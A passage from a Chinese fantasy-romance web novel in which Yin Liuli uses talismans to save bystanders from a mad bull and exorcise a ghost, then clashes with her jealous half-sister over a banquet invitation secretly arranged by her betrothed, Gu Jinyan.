金嬷嬷赶紧扒着窗户大叫,“大姑娘,小心呐!”
牛角顶住孩子的一瞬间,用“定止符”已经来不及了。
殷琉璃指尖划过一道灵光冲母子俩飞了过去,“给我去!”
话音未落,母子俩凭空消失的无影无踪,转眼落在混乱的人群外面。
“刺啦……”
一声撕裂的声音,孩子的一块衣服被牛角扯开,挂在上面。
殷琉璃松了口气,抬手快速在掌心画“定止符”,要将疯牛定在原地。
眼角忽然闪过一道白光,那匹全身雪白的马踏着蹄子飞奔而来。
“让开!”旋即耳边传来一声厉喝,一个高大的身影从马背上站起,飞扑在疯牛的背上,紧紧抓住两只牛角。
“哞……哞……”
胯下疯牛发出一声愤怒的嘶吼,疯狂的甩着脑袋。
眼看他要被甩下牛背,人群急的大喊,
“小心!小心呐!”
那人抓着牛角用力按压,脖子和手背上青筋毕现。
竟然是他?
殷琉璃眼睛被那个流线般飞跃而来的身影一亮,身手不错嘛!
他还知道救人?
“砰”
一个较劲,顾瑾焱将扭头硬生生按在了地上,任凭疯牛踢打挣扎死死按住不动。
他扭头大喝,
“来人!捆住牛蹄!”
见疯牛被制服,人们才敢上前给疯牛捆蹄子,激动的说,
“这位公子,你可真是大好人!你救了我们大家伙呀!”
“连疯牛都能按住,公子好大的力气!”
“多谢公子出手相救!要不是你,那对母子就死定了……”
……
殷琉璃微微蹙眉,
旁人只觉得他力大无穷,她却能看出此人用的是极其深厚的内力,他运力时体内有一股很霸道的气息在快速运行。
这人绝不像他表现出来的那般简单!
第33章 趁虚而入
“是呀,”
殷琉璃转身,似笑非笑,“没想到你这无耻之徒,竟也有侠肝义胆的时候。”
“多谢小姐夸赞。”
顾瑾焱大言不惭道,“在下只是无耻,又不是无胆。匹夫尚且有勇,况在下乎?”
“切……”
殷琉璃不屑嗤声,“告辞。”
“小姐急什么?”
顾瑾焱抬手又将她拦住,挑眉道,
“在下恍惚记得小姐说过,再见到小姐要绕一条街走,谁知在下特意绕了一条街偏偏又撞见了小姐……”
说着,他上前一步,高大修长的身躯逼近殷琉璃面前不足半尺,侵入她的安全距离。
眼神暧昧,弧线优美的唇角轻佻的勾起,
“你说这是不是缘分?”
“狗屁!”
殷琉璃抬手就是一巴掌。
“啪”
纤细的手腕被顾瑾焱握住,轻笑道,
“小姐生的这般如花似玉,脾气怎么这么暴躁?动不动就**,小心将来嫁不出……”
“啪”
话音未落,他脸上便挨了一个响亮的耳光。
“哇呀呀,干得漂亮!”
殷琉璃挑了挑眉,用心念夸了一句。
“哇呀呀……多谢主人夸奖!”
哇呀呀得意洋洋的哼了一声,将手中长刀往肩上一抗,威风凛凛的站在她的耳边。
保卫主人!
脸上火辣辣的感觉真实不虚,顾瑾焱不由一怔。
刚才混乱的场景中,他便注意到千钧一发之际,殷琉璃手上翻一下,不动声色就将那对母子挪了出去。
但凡晚上一秒,那个孩童的肚子就会被牛角戳穿。
这姑娘的法术神不知鬼不觉,是个人才!
此人若能为己所用,定能如虎添翼,如果像那个方士去辅助谋逆之人,着实够他喝两壶的。
殷琉璃冷下脸道,
“看什么呢?松手!”
顾瑾焱脸色沉了沉,缓缓松开手掌。
“下次见到本小姐,记得绕过一条街走了吗?”
殷琉璃不屑的嗤了一声,扭头就走。
顾瑾焱吹了口气,一脸轻佻的调侃,
“在下谨记,只怕与小姐缘分太深,绕过一条街又碰见了呢……”
话音未落,他突然感觉到一股阴冷的气息扑向后背,如龙蛇游走。
不好!
近日来,这种如芒在背的阴森感时不时会来上一下,头脑发晕,身子克制不住的冷战。
严重时如同掉进冰窟一般,身上仿佛爬上来几万只蚂蚁啃噬他的四肢百骸,痛痒难当。
他需运用十足的内力才能勉强压制下去。
可刚才抓那只疯牛已经将内力用了七八成,眼下气息还未完全稳住,如何克制得了这股力气?
顾瑾焱顿时握紧了拳头。
随着那股阴冷的气息游走,头脑开始阵阵晕眩,额头上很快渗出一层细密的冷汗。
就在气息蹿上肩头的一瞬,一只洁白纤细的手掌忽然从他面前掠过,忽然在他肩头轻轻戳了一下。
“啵”
一声若有若无的破空声在耳边响起。
不知道是不是错觉,他朦胧的如同蒙着一层雾气的眸子,看到一股黑气被那只手从肩头抓了出来。
黑气如同一条被掐住七寸的蛇,在那只手中疯狂扭摆挣扎,却怎么也挣脱不开。
“他人是惹厌的紧,可他毕竟刚救下那么多人,你想趁虚而入,真不要脸!”
殷琉璃清令的声音中带着一丝冷笑,“来,让我看看你是什么东西。”
惹厌的紧那个,是在说我?
顾瑾焱心里一阵无语。
殷琉璃抓着黑气的手往空中一翻,将黑气扔了出去。
黑气嗖的一下,在空中化作张牙舞爪的厉鬼模样。
满脸是血,披头散发,一双黑洞洞的眼睛凶神恶煞,呲牙咧嘴,青黑色的面目着实狰狞可怖。
胸口上有一个拳头大的血窟窿,汩汩往外冒血。
顾瑾焱心头一紧,这不是他亲手处决的那个方士吗?
这家伙用法术伤了手下兄弟五条性命,关键时刻被他一剑穿胸,死前就是这副鬼样子!
厉鬼张开双臂,一双手上的指甲突然暴涨出三寸长,犹如十把锋利的**,冲殷琉璃正酿咆哮,
“多管闲事!贫道要你的命……”
“啪”
话音未落,一道符光闪过,在那
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家伙的脸上狠狠掴了一巴掌。
厉鬼的凶残的叫喊声戛然而止。
顾瑾焱也惊了。
这姑娘怎么那么喜欢扇巴掌!
将来谁娶了她,可是倒了八辈子霉了,那脸还不天天肿的跟猪头一样?
殷琉璃不耐道,“老实点儿。”
这一巴掌带着“五**鬼”符的威力,那东西挨上一下想跑都跑不了。
“是他杀我!**偿命,我找他索命有什么不对?”
厉鬼吃了一记耳光,嚣张的气焰瞬间收敛了许多,抬手捂着脸凄惨的大叫,“我死的好惨呀……”
阴气森森的鬼叫声如同刀子划过玻璃,说不出的刺耳难听。
“啪”
殷琉璃手中飞出一道灵光,抬手打在厉鬼另一边儿脸上,不悦的皱眉,
“鬼叫什么?会不会好好说话!”
眼见着那张鬼脸肉眼可见的胖了一圈儿,顾瑾焱都不由自主的呲了一下牙。
替它脸疼。
厉鬼浑身打了个冷战,抬手捂住另一边脸颊,声音开始发颤,
“你、你是何人?是何门派,凭什么管我的闲事……”
“看你不顺眼!”
殷琉璃又抬了抬手,冷笑道,“你自己就不是个好东西,想寻仇,先把自己身上的众多血债清了再说。”
“贫道不与你废话!”
厉鬼吓得一把抱住脑袋,黑洞洞的眼睛闪过一抹恐惧,转身就要遁走。
“还想跑?”
殷琉璃冷哼一声,抬手飞出一道灵光。
一声凄厉的惨叫,顾瑾焱眼睁睁看着那个厉鬼又变成一道黑气,在半空中消失的无影无踪。
厉害!
顾瑾焱目瞪口呆。
“啵……”
肩头忽然又被人轻点了一下,破空声划过耳膜,顾瑾焱眼前骤然清亮。
他使劲儿晃了晃头,有点儿怀疑自己刚才是不是在做梦。
他竟然能看到那东西!
殷琉璃清脆的声音响起,“没事了。”
“我刚才……”
顾瑾焱艰难的咽了口口水,指了指自己的眼睛,又指了指半空,一脸震惊。
**自己刚才是幻觉,还是真看见了。
第34章 为什么帮我?
殷琉璃轻描淡写的说,
“别怕,临时给你开了下天眼,让你看清楚是谁在害你,已经给你关上了。
鬼气虽阴邪,凡人偶尔看见一次不会有什么影响。”
“我怕?我堂堂……我会怕?”
顾瑾焱又气又好笑,抬手指着自己的鼻子,表情夸张。
刚才是不怕,可第一次看见那种阴森森的东西,心里还是忍不住有点儿发毛。
殷琉璃没好气的说,
“随便你。不妨多送你一句,你虽有贵气护体,可也禁不住这些厉害的阴物,以后少碰那些乱七八糟的事情。”
顾瑾焱弧线优美的唇微抿,
“多谢……敢问姑娘为什么帮我?”
殷琉璃不屑挑眉,
“不为什么,我看不惯那东西趁你耗尽内力趁虚而入,做鬼都做的那么不要脸。
而且看在刚才你见义勇为,救人与为难的份儿上,我才帮你一把。
换做旁人,我才懒得搭理。
行了,话不多说,耽误我吃烤鸭!”
说罢,她转身就走。
“喂……”
顾瑾焱挺了挺胸脯,冲着她的背影嚷道,
“姑娘,你确定不是因为本小爷样貌英俊、玉树临风、风流倜傥……才施以援手的吗?”
殷琉璃身形顿时晃了两下,
“滚!”
顾瑾焱俊朗的脸上顿时露出一抹得意,抬手做了个奇怪的手势,召来了匿在四周的暗卫。
“主子。”
一身寻常商户装扮的暗卫很快现身。
顾瑾焱眼睛追着殷琉璃的身影直到消失,意味深长的吩咐了一声,
“去查。”
……
“琉璃,你、你没事儿吧?”
看女儿回来,甄氏恨不得把她抓到眼前上上下下好好看一番。
她刚才就站在那头疯牛屁股后头,万一被踹上一蹄子可怎么是好!
“娘你看,我这不好好的嘛!”
殷琉璃俏皮的吐了吐舌头,抓了一块烤鸭卷饼塞进嘴巴里,含混的说,“一头疯牛还伤不了我的,娘你就把心放进肚子里吧!”
甄氏揪心的点了点头,“虽说……可你总也要小心些才好,别让娘担心。”
“大姑娘你不知道,夫人刚才看你站在牛屁股后面,差点儿把手帕子揪烂了!”
金嬷嬷擦着冷汗说,眼珠子骨碌一转,忽然一脸八卦的问,
“刚老奴远远的瞅见咱们在绸缎庄碰见的那个登徒子,上赶着跟大姑娘说了好几句话呢……
他究竟是谁家公子呀?模样、气度倒是不错,就是瞧着孟浪的紧。”
“咳咳……”
殷琉璃噎的翻了个白眼儿,一脸嫌弃道,“管他是谁,跟我没关系!”
甄氏摸了摸她的脑袋,不觉勾唇,
“京中多官宦人家子弟,的确有些不学好的孟浪之人,琉璃不用搭理才好。”
殷琉璃乖巧的点点头,“我知道,娘。”
娘俩吃了饭,便带着东西回府。
刚进凤栖梧的院门,殷镜堂就远远的冲娘俩招手,
“夫人,琉璃,快过来……”
甄氏原本带着笑的脸冷了下去,没做理会拉着殷琉璃径直回了房。
殷镜堂尴尬的抽了抽嘴角,只好腆着脸追去了屋子里,
“夫人不是说要弄个小厨房,随时弄些热汤饭吃吗?
我一直惦记着,这不刚下朝就叫了人把以前的翻修一下。
又请了两个手艺不错的厨娘,供夫人驱使……夫人随我瞧瞧去?”
甄氏一声不吭的从桌上拿起未做完的女红,垂着头绣花。
那张年近四十的脸,如今浅浅的扑了胭脂,眉目如画,一张红唇轻抿着,修长睫毛微微颤抖,竟越老越显出韵味来,惹的殷镜堂心里说不出的痒痒。
反观他宠爱了十几年的王氏,如今披头散发半死不活的躺在床上,一张脸白的吓人。
原来的妩媚风情荡然无存,活脱脱像个鬼。
看甄氏这副爱答不理的样儿,他心里竟一点儿火气都没有。
反而越发有点儿想往她身边儿凑,挑逗着她跟自己说几句话的冲动。
就像他俩新婚燕尔那时,他做了什么让甄氏不高兴的事儿,甄氏也是这般不理他。
他就故意上前缠磨,软磨硬泡把她弄的面红耳赤,就软了,别有一番风味。
“夫人,为夫刚下朝,连口茶都没喝呢……”
殷
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镜堂不由自主的凑了过去。
甄氏不动声色的躲开他,淡声说,
“琉璃,你刚说要喝口菊花茶,娘这就去给你煮。”
殷镜堂这副嘴脸,让她觉得恶心。
男人的劣根性在他身上无不体现的淋漓尽致!
“对对,家里有上好的杭白菊,时常喝着些好。”
殷镜堂尴尬的看向殷琉璃,陪笑说,
“琉璃,爹不知道你喜欢吃什么菜式,要不……”
“敢问侯爷下朝回来,听见王氏害我娘的事儿了吗?”
殷琉璃缓缓抬眸,似笑非笑的看着他,“侯爷作何打算?”
“呃……你爷爷跟我说了。”
殷镜堂心里咯噔一下,硬着头皮说,“琉璃,爹以前确实不知她是那种阴险狠毒的妇人,生生被她蒙蔽了这么多年!
要是知道,爹早就把她给休了,替你母亲出气!”
殷琉璃冷笑一声,
“侯爷不做打算,就别怪我自己动手了?”
殷镜堂抿了抿唇,踌躇着说,
“你放心,爹一定把她休了,给你娘报仇!
只是爹想跟你们商量一下,眼下有个为难的事情……
就是你妹妹玉珠她跟国公府定了亲,再一年就要嫁过去了。
这时候休了她的母亲,被人知道她的婚事就完了!
爹想请你高抬贵手,再给那个恶妇一年时间,等玉珠出嫁,爹一定把她扫地出门!”
“呵呵……”
殷琉璃红唇轻启,一声冷笑。
殷镜堂头皮炸了炸,忙好生好气的说,
“这样,爹现在就休了她,只不过为了玉珠的颜面,暂且不对外表。
把她送到京城外的庄子上养着,等将来玉珠出了门再说。”
殷琉璃轻嗤一声。
料到就会这样。
她刚要回怼,就听见金嬷嬷进来说,
“大姑娘,有人送了帖子来,说是请大姑娘赴宴。”
“谁请我?”
殷琉璃有点儿意外,勾了勾手指,“拿来我瞧。”
“嬷嬷,哪个府上的人送来的?”
殷镜堂也很意外。
他这女儿刚回京这才几天,认识几个人呀,就有人请她赴宴?
第35章 挫骨扬灰
金嬷嬷一脸得意道,
“说是国公府的小公子爷使人送过来的。”
殷镜堂一脸惊讶,“琉璃,你认识方小公子?”
“不认识。”
殷琉璃看了下帖子署名,沉吟道,“方政允?是谁……”
这名字好似在哪儿听过。
殷镜堂心里莫名咯噔了一下,“不就是国公府那位矜贵的小公子了?他就是跟你玉珠妹妹定亲的那位!”
殷琉璃这才想起那张清俊,温文尔雅的脸,
“哦,原来是他呀!”
殷镜堂疑惑的询问,“琉璃,你怎么认识他的?”
“没怎么,随便就认识了。”
殷琉璃懒懒散散的哼了一声,目光越过殷镜堂跟金嬷嬷说话,“嬷嬷,他还请了娘呢,说是家里新建了个园子,他祖母办了个开园子的宴席,请咱们去热闹热闹。”
金嬷嬷脸上一喜,拍手道,
“那可好!夫人这些年都没出过什么门,往常人家一请,都是……”
殷镜堂在场,后面的话她没敢说出来。
往常人家一请,都是王氏拿自己当殷侯府主母出席。
人都是识趣的,慢慢也就当没有甄氏主母这一位,直接请王氏。
“国公老夫人素来喜欢热闹,只是这帖子怎么送到你手里来了?”
殷镜堂心里紧张,忍不住追问,“琉璃,你跟方小公子到底什么关系?”
玉珠和方政允定了亲,按理说帖子应该送到王氏和玉珠手上呀!
莫不是知道了琉璃要嫁给顾世子,小公子跟顾世子是表亲兄弟,关系甚好,所以先送了玉珠帖子,再顺便叫人来客气客气?
殷琉璃不耐冷哼,
“谁知道。没关系。”
“大姑娘,咱们去不去?”
金嬷嬷激动的直搓手,生怕殷琉璃嫌烦不肯去。
夫人被那王氏打压这么多年,好容易有个露脸的机会,不去可太亏了!
殷琉璃想了想,懒洋洋的答应,
“我是嫌烦不想去的,不过嬷嬷说的对,娘让出去散散心也挺好的。”
“是,老奴这就告诉夫人去!”
金嬷嬷喜不自胜,飞快的出去了。
殷镜堂心头警铃大作。
不能去!
这丫头可不能去!
她跟玉珠成了死对头,万一说点儿什么不好听的可就坏了醋了!
“国公老夫人素来喜欢热闹,你们娘俩去她院子逛逛也是好的。”
殷镜堂心头警铃大作,一脸假笑着说,“不过琉璃,你娘身子刚好了一些,去园子里再吹了风怕是不好。
再说你娘喜欢安静,那里到底人多嘴杂……”
“侯爷是怕人多嘴杂,将这些年我娘在侯府受的委屈宣扬出去,让人知道侯爷是那等凉薄寡恩之人吧?”
殷琉璃冷笑着乜了他一眼。
说的好听,不用撅屁股,我都知道他要拉什么屎!
殷镜堂顿时被堵的一句话都说不出来,尴尬了半天才支吾道,
“爹、爹怎么会是这个意思呢……也罢,去、去散散心也好。
对了,国公夫人甚是喜欢玉珠这个未来儿媳妇儿,你们一并去时,让她好好为你们引荐。”
殷琉璃慵懒的挑眉,
“呵呵……”
……
珠兰院。
丫鬟素喜急匆匆的掀帘子进屋,“二小姐,好事儿!天大的好事儿!”
殷玉珠正心烦,烦躁的骂道,
“被狗撵了是怎的!再这么**躁,小心赏你一顿板子!”
“二小姐,奴婢刚听门房的人说国公府的小公子爷,使人来送帖子。”
素喜喜气洋洋的说,“说不准又是那位爱热闹的老夫人办了什么宴席,请小姐和夫人去呢!”
殷玉珠迫不及待的伸手,
“是政允哥使人送来的?帖子呢,快给我!”
素喜摊了摊手,“帖子又没给奴婢,不过门房说人进来了,怕不是一会儿就到。”
殷玉珠脸上露出一抹喜色,忙使劲儿往外望了望。
“往常都是国公夫人使人来送帖子,公子爷头一遭呢!”
素喜看她一脸期待,便一脸谄媚的讨欢心道,
“二小姐,您说会不会是您和小公子爷定了亲,有了那层关系,人家眼巴巴的想亲近小姐,这才亲自叫人送帖子来?
以后奴婢可要呼您为未来的国公夫人了!
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”
“别**混说!”
殷玉珠轻轻啐了一口,脸上露出一抹恶毒的冷笑。
殷琉璃,你再得意,还能得意几天?
等无崖子毁了你道行,指不定哪天就被顾世子给克**呢!
我可不一样。
嫁进国公府,我就是未来的国公夫人,跻身皇亲国戚一流,风光无限!
方政允又是一等一的才俊,容貌、才智样样都拔得头筹,前途不可限量。
到时候本夫人一定去你和**坟头看望,挖坟掘墓,鞭尸踏骨,挫骨扬灰,再叫无崖子打的你们这对**母女永世不得超生!
一根熏香都快烧完了,送请帖的人却还没到。
殷玉珠不觉烦躁,几次走到门口张望说,
“素喜,你不是说人进来了吗,这么还没送过来?”
“不知道呀,门房说……”
素喜也是一脸疑惑,忽然啪的拍了下巴掌,惊道,“不好!二小姐,咱们以前住的是凤栖梧,不是珠兰院!
会不会是送信的走错了院子,把请帖送到那边儿去了?”
殷玉珠心里咯噔一下,急急的说,
“那还不快去看看!”
……
不一会儿,素喜喘着粗气跑回来,一脸不忿的说,
“回二小姐,奴婢打听了,送信的仆妇就是去了凤栖梧!
奴婢还瞧见是金嬷嬷笑吟吟把人送出来的,然后关上门就没动静了……
他们不会拿了帖子不给咱们吧?这可如何是好!”
殷玉珠登时勃然大怒,
“她敢!没用的东西,还不快叫上张嬷嬷,把帖子去给我要回来!”
素喜也慌了神,忙说,
“是!奴婢这就去!”
殷玉珠脸上闪过一抹狰狞。
殷琉璃,旁的我还能暂且忍你一时,可你要敢压下我的帖子,让我错失一次去国公府的好机会,我绝不放过你!
焦灼的等了一炷香的时间,素喜和张嬷嬷灰头土脸的回来了,垂着头站在她跟前不敢开口。
“一个个怎么了,我的帖子呢?”
殷玉珠心头划过一丝不祥的预感,急切的追问,“都是**呀,说话!”
第36章 你哪儿来的自信?
素喜这才战战兢兢的开口,
“回二小姐……帖子、帖子不是下给你的,人家是专门送给琉璃小姐的……”
“住口!你胡说什么!”
话音未落,殷玉珠脸色一片狰狞,
“国公府的帖子向来请的都是我和我娘,那个**算什么东西?
何况这帖子是政允哥使人送来的,怎么可能给的是给她!”
“二小姐别生气,许是、许是弄错了呢?”
张嬷嬷偷瞄了眼她的脸色,小心翼翼的撺掇道,
“老奴身份卑微,那院儿的自然不搭理,少不得二小姐亲自去问一趟?”
其实她问了金嬷嬷,帖子请的的确是是甄氏和殷琉璃。
不过她可不敢说。
既然玉珠小姐一心帖子是给她的,那就让她自己去问清楚。
殷玉珠铁青着脸道,
“我绝不信政允哥会把帖子下给那个**!绝对不可能!”
方政允兴师动众使了仆妇来下帖子,不是给她,却给殷琉璃?
他们什么时候认识的?
最要紧的是,国公府一向对家风家教看的很重,殷琉璃那个**要是跟他胡说些她娘的事情……
殷玉珠心头不由一紧。
……
凤栖梧。
国公府的邀请帖,让压抑了十几年的甄氏忽然有种重见天日的感觉。
她叫两个丫鬟把柜子里的衣裳全都翻了出来,一件件在殷琉璃身上比画,忍不住笑道,
“参加国公老夫人的宴会,衣裳打扮自然要隆重,只也不能太繁琐,小女儿家还是要些颜色清新的衣裳才赏心悦目!
娘瞧着这件合适,这件似乎也不错……都不知道该怎么选了!嬷嬷快来帮我挑一个!”
“夫人别急,老奴正给大姑娘挑钗环呢!”
金嬷嬷捧着首饰盒,兴冲冲的说,“夫人也来瞧一下,大姑娘戴凤钗好?还是如意玉簪好?”
两人你一言我一语,倒把殷琉璃晾在了一边儿,笑嘻嘻的看着娘和嬷嬷乱忙。
去不去宴会她根本无所谓,只要能让娘开心就行。
“砰砰砰”
院外传来一阵剧烈的砸门声。
仆妇急匆匆的进来说,
“夫人,大姑娘,玉珠**来了……瞧着脸色不大好。”
甄氏和金嬷嬷热闹的议论戛然而止。
甄氏打心底里怵殷玉珠母女,轻声说,
“她来做什么?”
金嬷嬷心知肚明,得意的说,“夫人不用理会她,还不是国公府那位小公子爷给咱家大姑娘下帖子,没给她嘛!”
甄氏一脸不解,“她不是跟那位小公子也定亲了吗,怎么会没给她?”
金嬷嬷嫌弃的撇嘴,
“那谁知道?说不准她想高攀,人家瞧不上呢!”
甄氏无奈的笑了笑,“嬷嬷别这么说,让人听见……”
金嬷嬷才不怕人听见呢!
如今身边伺候的人都是大姑娘亲手选的,谁有几个胆子敢把这屋里的话往外传?
“砰砰砰”
砸门声再次响起。
“娘,嬷嬷,你们慢慢挑,我瞧瞧去。”
殷琉璃不觉皱眉,嬷嬷不是把请帖给张嬷嬷瞧了吗,她怎么还亲自上门吵人清静?
……
“二小姐,里头还是没动静……”
素喜敲门敲的手都红了,扭头问。
殷玉珠一脸恼怒,“给我继续敲!”
殷琉璃,别以为躲在里面装死我就能放过你!
你有本事抢我的帖子,你有本事出来呀!
“嘎吱”
话音未落,大门齐刷刷从两边打开,差点儿把素喜跌了个跟头。
两个仆妇恭恭敬敬的站在门旁,殷琉璃款步走了过来,那双灵动的眸子淡漠的扫过眼前众人,气场强大,淡淡冷笑,
“你来做什么?”
被殷琉璃那双蕴含着锋芒的眸子扫过一眼,殷玉珠心头不觉一颤,假模假样的笑笑说,
“玉珠见过大姐姐。”
她现在还不是殷琉璃这个妖女的对手,态度强硬难免又要吃亏。
殷琉璃哼了一声,“有事说事。”
**!
摆出这副高高在上的样子给谁看!
殷玉珠心里恨不得将她千刀万剐,脸上硬生生挤出一个笑容,
“玉珠听说国公府小公子爷遣人送了
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一张请帖来,不知是不是送错地方了,特来问问。”
“小公子爷?”
殷琉璃点了点头,轻描淡写的说,“哦,你说方政允呀,没错,他是让仆妇送了一趟帖子。”
“那么,就请大姐姐把帖子还给玉珠吧。”
殷玉珠脸色一沉,这个**和小公子爷已经熟到直呼其名的程度了?
殷琉璃蹙眉道,
“还给你?他请的又不是你,给你做什么。”
“大姐姐不要说笑,小公子爷让人送来的请帖怎么会不是给我的呢?”
殷玉珠压抑着心头的怒火道,“只怕是来人不知道玉珠搬去了珠兰院,送错了地方,玉珠这才前来问一问。”
“国公府的小公子爷,是我们二小姐的未婚夫婿,琉璃小姐难道不知?”
素喜连忙附和。
殷琉璃淡淡的哼了一声,
“知道又如何?你怕不是误会了,帖子确实不是请你的。”
“小公爷请的不是我,难道是你?”
不管她怎么说,殷玉珠认定殷琉璃这个**就是在为难她,讥讽道,
“其实大姐姐扣下我的请帖也没什么意思,妹妹知道姐姐在山旮旯的道观待了很多年,刚回京城想见见世面,只要姐姐开口,玉珠带姐姐去凑凑热闹不就行了?
玉珠虽年纪小,在国公老夫人和夫人跟前到底还是有些颜面的。”
殷琉璃,“呵呵……你哪儿来的自信?”
“你说什么!”
殷玉珠满脸愠怒,“殷琉璃,你才回来几天,知道国公府的小公子也是谁吗?他给你下请帖,真是笑话!”
殷琉璃挠了挠鼻子,
“不好意思,他给我下请帖前,我还真不知道他是哪颗葱。”
“你……”
殷玉珠勃然大怒,索性拉下了脸,狠狠的说,
“我不与你做口舌之争,把我的请帖还给我!”
“不就是一张请帖吗?”
殷琉璃清冷的眸中闪过一抹不屑,嫌弃的说,
“什么大不了的事情,我原都嫌烦不想去,倒把你急成这样子?
来人,将请帖拿给她亲自瞧瞧。”
第37章 找死!
殷玉珠恨的切齿,“说得好听,你以为你是谁!”
国公府的小公爷方政允,尊贵无比,又是一等一的青年才俊,京中贵女无不倾心!
王氏想方设法四处打听,着实花费了不少力气才搞定她和方政允的婚事,
殷琉璃轻描淡写的说,
“我不是谁,你也别太把自己当根葱。嬷嬷说了请帖不是给你的,又是差遣下人来打听,又是亲自上门讨要。你烦不烦?你不烦我都替你烦。”
她抬了抬下巴,让仆妇将请帖递过去,“给她拿过去。”
殷玉珠顾不上什么,迫不及待的抢在手中。
谁知打开只看了一眼,她瞳孔地震。
抬头赫然用遒劲有力又不失清隽的字迹写着:
谨呈殷侯府甄氏夫人及大小姐殷琉璃亲启。
这怎么可能?
她不信!
小公爷怎么可能连她这个国公夫人亲选的未婚妻都没请,去请一个刚从山沟沟的道观里回来的野丫头?
可这的确是小公爷的笔迹……
殷玉珠脑袋里嗡的一声。
殷琉璃站在高高的台阶上,居高俯视,绝美的脸上闪过一抹不耐,
“弄清楚了吧?那就别再来吵人清净。”
“你怎么会认识他?说,你说!你跟他有什么关系?”
殷玉珠只感觉自己的脸面被她按在地上摩擦,一股妒意瞬间涌上心头。
殷琉璃脸色平静的说,
“一面之缘,东西你也看了,来人,送客……”
“殷琉璃!你是不是用了什么邪术,勾引小公爷!”
殷玉珠再也控制不住心头的怒火,失控的冲上前扯住殷琉璃的衣袖,一双爬满血丝的眼睛怒目而驰。
她锋利的指甲从殷琉璃手腕上划过。
一丝刺痛从传来,殷琉璃脸色一厉,“放手!”
“殷琉璃你这个**,你给我说清楚!”
殷玉珠已经被怒火冲昏了头脑,疯狂撕扯道,
“你到底想要干什么?你对他到底有什么企图!”
“啪”
一声脆响。
殷琉璃拂袖将她推开,反手一个巴掌打了过去,“找死!”
“殷琉璃,你敢坏我好事,我一定不会放过你的!一定不!”
殷玉珠滚落在地,半张脸颊登时肿胀的像个发面馒头,捂着脸半天爬不起来。
殷琉璃甩了甩被她指甲扯出一缕丝线的衣袖,居高临下的望着她,厌恶道,
“你有没有脑子,发什么疯!”
“殷琉璃,你这个**!你回来做什么?做什么!”
殷玉珠脸颊疼的像是着了火一样,愤怒的指责,
“你抢走我和我娘的凤栖梧,害我娘名声尽毁被爹休弃,又抢走我的嫁妆!
你还嫌不够,如今还抢到我夫婿的头上来?
告诉你,我就是拼命也不会让你得逞……唔?”
“你和你娘害我娘的时候,有没有想过这是你们作恶多端,应得的?”
殷琉璃懒得跟她废话,抬手一张“禁口咒”飞了出去,吩咐道,“关门。”
“唔唔……”
殷玉珠感觉自己的嘴上,像贴了一张狗皮膏药,怎么都张不开。
一肚子的怒气全都憋在喉咙里,任凭她怎么叫都叫不出一丝声音。
她心里彻底慌了。
“二、二小姐,咱们快走吧。琉璃……那个妖女的法术太厉害了,咱们根本不是她的对手。”
素喜扶着她,战战兢兢的劝说。
“唔!唔唔!”
殷玉珠死死盯了院门一眼,阴毒的眸子里翻涌出汹涌的怨愤。
此时她脑海中只有一个念头,去找无崖子!
不管付出多少代价都可以,她等不到殷琉璃上公主府花轿那天!
万一殷琉璃跟方政允说些不该说的,她就彻底完了!
等殷琉璃道行尽毁,她一定会狠狠折磨这个**,剥皮拆骨,让她死无葬身之地!
……
殷玉珠扶着素喜急匆匆赶去朝露观,尚未走出大门时,瞧见几个丫鬟手中捧着锦盒在廊中走着。
“这么多都是送去凤栖梧,给大小姐的呀!”
“大小姐才回来几天,就认识国公府的小公子爷了?还送她这么贵重的衣裳首饰!”
“谁知道,这些瞧着就贵重,怕不是一套衣
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裳就够咱们十年的月例银子了!”
“那可是国公府小公子爷,出手能差的了吗?”
殷玉珠顿时停下脚步,一双阴冷的眸子瞪大,满脸震惊。
方政允送给那个**的衣裳首饰?
送请帖已经说不清他俩的关系了,连衣裳都送,他和那个**到底是什么关系!
殷玉珠抬手扶门勉强稳住身形,浑身抑制不住的颤抖,本就不安的心彻底低入谷底。
……
“焱兄,你让我送的东西我可都送过去了!”
方政允笑嘻嘻的把手伸到顾瑾焱的面前,“托我的名头送东西,这顿你请啊!”
顾瑾焱就当没瞧见,一手托腮,懒洋洋的歪在塌上听曲,恣意啜了一口酒,
“赏!”
随从随手从袋子里摸了一锭十两的银锭子,丢去了歌姬脚下。
这里是妙音坊,京城最热闹繁华的一条街中,名流权贵最喜欢来听曲饮酒作乐的地方。
一场花费价值不菲,但银子也不是白花的。
妙音坊的歌姬艳冠京城,个个容貌清丽,嗓音柔美,还很会服侍人。
若是银子到位,挑哪个陪上一晚共赴巫山云雨,姑娘们能把男人伺候的流连忘返。
“蓉儿谢世子爷赏。”
歌姬灿烂一笑,眼睛忽然有些挪不开。
她站的角度,甚至能隐隐望见他腹上一排整齐的巧克力块。
恣意饮酒的姿态和那张俊美若妖的脸,越发看的人心头小鹿砰砰乱撞。
歌姬心里暗暗叹了口气,只可惜,这位爷来此每次都只是听曲饮酒,从来不肯点谁共赴云雨。
方政允将金尊凑过来碰了碰,好奇的说,
“焱兄,那个厉害的女子可是你未来夫人,你亲自送去不是更妙?”
顾瑾焱幽深的黑眸微转,含上了一抹邪邪的笑意,
“那多没趣?她还不知道我是谁,便陪她玩玩。”
方政允眉宇间极快的闪过一丝落寞,又换上一抹俏皮的神色道,
“要玩,也带上我!”
其实就算顾瑾焱不请殷琉璃,他自己也想邀请殷琉璃去参加家中宴会。
第38章 浑水,才好摸鱼
只可惜他兴冲冲的叫人去查了这姑娘的身份,结果当头一棒。
人家竟是顾瑾焱的未婚妻!
传闻中殷侯府失散多年的嫡长女殷琉璃!
看多了端庄持证的大家闺秀,好容易才见到一个周身不染凡尘般清灵纯美,尤其那双眼睛充斥着灵动之色的小姑娘,还不等他倾心呢,就要成他表嫂了!
心塞呀!
他就是对殷琉璃印象再好,也不能怎样。
“记着。你成亲的时候一并送上。”
顾瑾焱懒懒散散的说,忽然来了兴致,打趣道,
“我记得你与殷侯府那位二小姐刚定下亲事……”
“别提她。”
方政允摆了摆手,闷闷的喝酒说,“是母亲非要定下她,又不是我要。”
长得是还行,可一脸精明算计相,偏要在他祖母和母亲面前又装的端庄得体,还处处表现自己的高贵,无趣的很。
看他神色不屑,顾瑾焱越是打趣他,“你的请帖和东西送过去,不怕那位吃醋?”
“谁在乎那个!”
方政允不屑的撇嘴,反击道,“倒是焱兄你,故意用我的名头又送请帖又送贵重衣裳,怕不是要把殷侯府搅成一滩浑水了。”
顾瑾焱似笑非笑的挑眉,眸中闪过一抹意味深长,
“浑水,才好摸鱼。怎么,你怕?”
“笑话!”
方政允嗤了一声,得意的笑道,
“焱兄,咱俩从小到大最擅长的是啥?搅浑水这种事情最好玩了!”
